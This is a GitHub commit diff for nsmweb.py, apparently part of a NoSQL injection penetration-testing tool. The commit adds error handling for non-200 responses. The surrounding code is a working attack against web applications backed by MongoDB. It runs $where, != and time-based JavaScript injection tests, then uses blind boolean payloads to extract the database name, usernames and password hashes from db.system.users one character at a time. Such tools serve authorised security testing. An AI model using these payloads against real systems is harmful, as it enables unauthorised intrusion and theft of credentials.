Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit 9bcf017

Browse files
authored
Merge pull request #61 from andresriancho/master
Better error handling for web applications which respond with non-200...
2 parents 0c642e3 + 5dc778a commit 9bcf017

File tree

1 file changed

+59
-53
lines changed

1 file changed

+59
-53
lines changed

‎nsmweb.py

Lines changed: 59 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
5858
req = urllib2.Request(appURL, None, requestHeaders)
5959
appRespCode = urllib2.urlopen(req).getcode()
6060
if appRespCode == 200:
61-
normLength = int(len(urllib2.urlopen(req).read()))
61+
normLength = int(len(getResponseBodyHandlingErrors(req)))
6262
timeReq = urllib2.urlopen(req)
6363
start = time.time()
6464
page = timeReq.read()
@@ -86,7 +86,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
8686
print "Using " + injectString + " for injection testing.\n"
8787

8888
# Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
89-
# Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
9089
if "?" not in appURL:
9190
print "No URI parameters provided for GET request...Check your options.\n"
9291
raw_input("Press enter to continue...")
@@ -101,7 +100,9 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
101100
else:
102101
print "Sending random parameter value..."
103102

104-
randLength = int(len(urllib2.urlopen(req).read()))
103+
responseBody = getResponseBodyHandlingErrors(req)
104+
randLength = int(len(responseBody))
105+
105106
print "Got response length of " + str(randLength) + "."
106107
randNormDelta = abs(normLength - randLength)
107108

@@ -117,10 +118,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
117118

118119
# Test for errors returned by injection
119120
req = urllib2.Request(uriArray[1], None, requestHeaders)
120-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
121+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
121122

122123
if errorCheck == False:
123-
injLen = int(len(urllib2.urlopen(req).read()))
124+
injLen = int(len(getResponseBodyHandlingErrors(req)))
124125
checkResult(randLength,injLen,testNum,verb,None)
125126
testNum += 1
126127
else:
@@ -135,11 +136,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
135136

136137
print uriArray[2]
137138
req = urllib2.Request(uriArray[2], None, requestHeaders)
138-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
139+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
139140

140141

141142
if errorCheck == False:
142-
injLen = int(len(urllib2.urlopen(req).read()))
143+
injLen = int(len(getResponseBodyHandlingErrors(req)))
143144
checkResult(randLength,injLen,testNum,verb,None)
144145
testNum += 1
145146

@@ -154,11 +155,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
154155
print "Test 3: $where injection (integer escape)"
155156

156157
req = urllib2.Request(uriArray[3], None, requestHeaders)
157-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
158+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
158159

159160

160161
if errorCheck == False:
161-
injLen = int(len(urllib2.urlopen(req).read()))
162+
injLen = int(len(getResponseBodyHandlingErrors(req)))
162163
checkResult(randLength,injLen,testNum,verb,None)
163164
testNum +=1
164165

@@ -174,10 +175,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
174175
print "Test 4: $where injection string escape (single record)"
175176

176177
req = urllib2.Request(uriArray[4], None, requestHeaders)
177-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
178+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
178179

179180
if errorCheck == False:
180-
injLen = int(len(urllib2.urlopen(req).read()))
181+
injLen = int(len(getResponseBodyHandlingErrors(req)))
181182
checkResult(randLength,injLen,testNum,verb,None)
182183
testNum += 1
183184
else:
@@ -191,10 +192,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
191192
print "Test 5: $where injection integer escape (single record)"
192193

193194
req = urllib2.Request(uriArray[5], None, requestHeaders)
194-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
195+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
195196

196197
if errorCheck == False:
197-
injLen = int(len(urllib2.urlopen(req).read()))
198+
injLen = int(len(getResponseBodyHandlingErrors(req)))
198199
checkResult(randLength,injLen,testNum,verb,None)
199200
testNum +=1
200201

@@ -209,10 +210,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
209210
print "Test 6: This != injection (string escape)"
210211

211212
req = urllib2.Request(uriArray[6], None, requestHeaders)
212-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
213+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
213214

214215
if errorCheck == False:
215-
injLen = int(len(urllib2.urlopen(req).read()))
216+
injLen = int(len(getResponseBodyHandlingErrors(req)))
216217
checkResult(randLength,injLen,testNum,verb,None)
217218
testNum += 1
218219
else:
@@ -226,10 +227,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
226227
print "Test 7: This != injection (integer escape)"
227228

228229
req = urllib2.Request(uriArray[7], None, requestHeaders)
229-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
230+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
230231

231232
if errorCheck == False:
232-
injLen = int(len(urllib2.urlopen(req).read()))
233+
injLen = int(len(getResponseBodyHandlingErrors(req)))
233234
checkResult(randLength,injLen,testNum,verb,None)
234235
testNum += 1
235236
else:
@@ -244,10 +245,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
244245
print "Test 8: PHP/ExpressJS > Undefined Injection"
245246

246247
req = urllib2.Request(uriArray[8], None, requestHeaders)
247-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
248+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
248249

249250
if errorCheck == False:
250-
injLen = int(len(urllib2.urlopen(req).read()))
251+
injLen = int(len(getResponseBodyHandlingErrors(req)))
251252
checkResult(randLength,injLen,testNum,verb,None)
252253
testNum += 1
253254

@@ -258,10 +259,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
258259
print "Starting Javascript string escape time based injection..."
259260
req = urllib2.Request(uriArray[18], None, requestHeaders)
260261
start = time.time()
261-
strTimeInj = urllib2.urlopen(req)
262-
page = strTimeInj.read()
262+
page = getResponseBodyHandlingErrors(req)
263263
end = time.time()
264-
strTimeInj.close()
265264
#print str(end)
266265
#print str(start)
267266
strTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -277,10 +276,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
277276
print "Starting Javascript integer escape time based injection..."
278277
req = urllib2.Request(uriArray[9], None, requestHeaders)
279278
start = time.time()
280-
intTimeInj = urllib2.urlopen(req)
281-
page = intTimeInj.read()
279+
page = getResponseBodyHandlingErrors(req)
282280
end = time.time()
283-
intTimeInj.close()
284281
#print str(end)
285282
#print str(start)
286283
intTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -348,6 +345,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
348345
return()
349346

350347

348+
def getResponseBodyHandlingErrors(req):
349+
try:
350+
responseBody = urllib2.urlopen(req).read()
351+
except urllib2.HTTPError, err:
352+
responseBody = err.read()
353+
354+
return responseBody
355+
356+
351357
def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
352358
print "Web App Attacks (POST)"
353359
print "==============="
@@ -386,7 +392,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
386392

387393
if appRespCode == 200:
388394

389-
normLength = int(len(urllib2.urlopen(req).read()))
395+
normLength = int(len(getResponseBodyHandlingErrors(req)))
390396
timeReq = urllib2.urlopen(req)
391397
start = time.time()
392398
page = timeReq.read()
@@ -438,7 +444,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
438444

439445
body = urllib.urlencode(postData)
440446
req = urllib2.Request(appURL,body, requestHeaders)
441-
randLength = int(len(urllib2.urlopen(req).read()))
447+
randLength = int(len(getResponseBodyHandlingErrors(req)))
442448
print "Got response length of " + str(randLength) + "."
443449

444450
randNormDelta = abs(normLength - randLength)
@@ -460,10 +466,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
460466
else:
461467
print "Test 1: PHP/ExpressJS != associative array injection"
462468

463-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
469+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
464470

465471
if errorCheck == False:
466-
injLen = int(len(urllib2.urlopen(req).read()))
472+
injLen = int(len(getResponseBodyHandlingErrors(req)))
467473
checkResult(randLength,injLen,testNum,verb,postData)
468474
testNum += 1
469475

@@ -487,10 +493,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
487493
else:
488494
print "Test 2: PHP/ExpressJS > Undefined Injection"
489495

490-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
496+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
491497

492498
if errorCheck == False:
493-
injLen = int(len(urllib2.urlopen(req).read()))
499+
injLen = int(len(getResponseBodyHandlingErrors(req)))
494500
checkResult(randLength,injLen,testNum,verb,postData)
495501
testNum += 1
496502

@@ -504,10 +510,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
504510
else:
505511
print "Test 3: $where injection (string escape)"
506512

507-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
513+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
508514

509515
if errorCheck == False:
510-
injLen = int(len(urllib2.urlopen(req).read()))
516+
injLen = int(len(getResponseBodyHandlingErrors(req)))
511517
checkResult(randLength,injLen,testNum,verb,postData)
512518
testNum += 1
513519
else:
@@ -524,10 +530,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
524530
else:
525531
print "Test 4: $where injection (integer escape)"
526532

527-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
533+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
528534

529535
if errorCheck == False:
530-
injLen = int(len(urllib2.urlopen(req).read()))
536+
injLen = int(len(getResponseBodyHandlingErrors(req)))
531537
checkResult(randLength,injLen,testNum,verb,postData)
532538
testNum += 1
533539
else:
@@ -545,10 +551,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
545551
else:
546552
print "Test 5: $where injection string escape (single record)"
547553

548-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
554+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
549555

550556
if errorCheck == False:
551-
injLen = int(len(urllib2.urlopen(req).read()))
557+
injLen = int(len(getResponseBodyHandlingErrors(req)))
552558
checkResult(randLength,injLen,testNum,verb,postData)
553559
testNum += 1
554560

@@ -566,10 +572,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
566572
else:
567573
print "Test 6: $where injection integer escape (single record)"
568574

569-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
575+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
570576

571577
if errorCheck == False:
572-
injLen = int(len(urllib2.urlopen(req).read()))
578+
injLen = int(len(getResponseBodyHandlingErrors(req)))
573579
checkResult(randLength,injLen,testNum,verb,postData)
574580
testNum += 1
575581

@@ -588,10 +594,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
588594
else:
589595
print "Test 7: This != injection (string escape)"
590596

591-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
597+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
592598

593599
if errorCheck == False:
594-
injLen = int(len(urllib2.urlopen(req).read()))
600+
injLen = int(len(getResponseBodyHandlingErrors(req)))
595601
checkResult(randLength,injLen,testNum,verb,postData)
596602
testNum += 1
597603
print "\n"
@@ -608,10 +614,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
608614
else:
609615
print "Test 8: This != injection (integer escape)"
610616

611-
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
617+
errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
612618

613619
if errorCheck == False:
614-
injLen = int(len(urllib2.urlopen(req).read()))
620+
injLen = int(len(getResponseBodyHandlingErrors(req)))
615621
checkResult(randLength,injLen,testNum,verb,postData)
616622
testNum += 1
617623

@@ -974,7 +980,7 @@ def getDBInfo():
974980
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
975981
#print "Debug " + str(trueUri)
976982
req = urllib2.Request(trueUri, None, requestHeaders)
977-
baseLen = int(len(urllib2.urlopen(req).read()))
983+
baseLen = int(len(getResponseBodyHandlingErrors(req)))
978984
print "Got baseline true query length of " + str(baseLen)
979985

980986
print "Calculating DB name length..."
@@ -983,7 +989,7 @@ def getDBInfo():
983989
calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
984990
#print "Debug: " + calcUri
985991
req = urllib2.Request(calcUri, None, requestHeaders)
986-
lenUri = int(len(urllib2.urlopen(req).read()))
992+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
987993
#print "Debug length: " + str(lenUri)
988994

989995
if lenUri == baseLen:
@@ -998,7 +1004,7 @@ def getDBInfo():
9981004
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
9991005

10001006
req = urllib2.Request(charUri, None, requestHeaders)
1001-
lenUri = int(len(urllib2.urlopen(req).read()))
1007+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
10021008

10031009
if lenUri == baseLen:
10041010
dbName = dbName + chars[charCounter]
@@ -1024,7 +1030,7 @@ def getDBInfo():
10241030
usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
10251031

10261032
req = urllib2.Request(usrCntUri, None, requestHeaders)
1027-
lenUri = int(len(urllib2.urlopen(req).read()))
1033+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
10281034

10291035
if lenUri == baseLen:
10301036
print "Found " + str(usrCount) + " user(s)."
@@ -1050,7 +1056,7 @@ def getDBInfo():
10501056
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
10511057

10521058
req = urllib2.Request(usrUri, None, requestHeaders)
1053-
lenUri = int(len(urllib2.urlopen(req).read()))
1059+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
10541060

10551061
if lenUri == baseLen:
10561062
# Got the right number of characters
@@ -1063,7 +1069,7 @@ def getDBInfo():
10631069
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
10641070

10651071
req = urllib2.Request(usrUri, None, requestHeaders)
1066-
lenUri = int(len(urllib2.urlopen(req).read()))
1072+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
10671073

10681074
if lenUri == baseLen:
10691075
username = username + chars[charCounterUsr]
@@ -1088,7 +1094,7 @@ def getDBInfo():
10881094
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
10891095

10901096
req = urllib2.Request(hashUri, None, requestHeaders)
1091-
lenUri = int(len(urllib2.urlopen(req).read()))
1097+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
10921098

10931099
if lenUri == baseLen:
10941100
pwdHash = pwdHash + chars[charCounterHash]
@@ -1111,7 +1117,7 @@ def getDBInfo():
11111117
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
11121118

11131119
req = urllib2.Request(usrUri, None, requestHeaders)
1114-
lenUri = int(len(urllib2.urlopen(req).read()))
1120+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
11151121

11161122
if lenUri == baseLen:
11171123
# Got the right number of characters
@@ -1124,7 +1130,7 @@ def getDBInfo():
11241130
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
11251131

11261132
req = urllib2.Request(usrUri, None, requestHeaders)
1127-
lenUri = int(len(urllib2.urlopen(req).read()))
1133+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
11281134

11291135
if lenUri == baseLen:
11301136
username = username + chars[charCounterUsr]
@@ -1146,7 +1152,7 @@ def getDBInfo():
11461152
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
11471153

11481154
req = urllib2.Request(hashUri, None, requestHeaders)
1149-
lenUri = int(len(urllib2.urlopen(req).read()))
1155+
lenUri = int(len(getResponseBodyHandlingErrors(req)))
11501156

11511157
if lenUri == baseLen:
11521158
pwdHash = pwdHash + chars[charCounterHash]

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /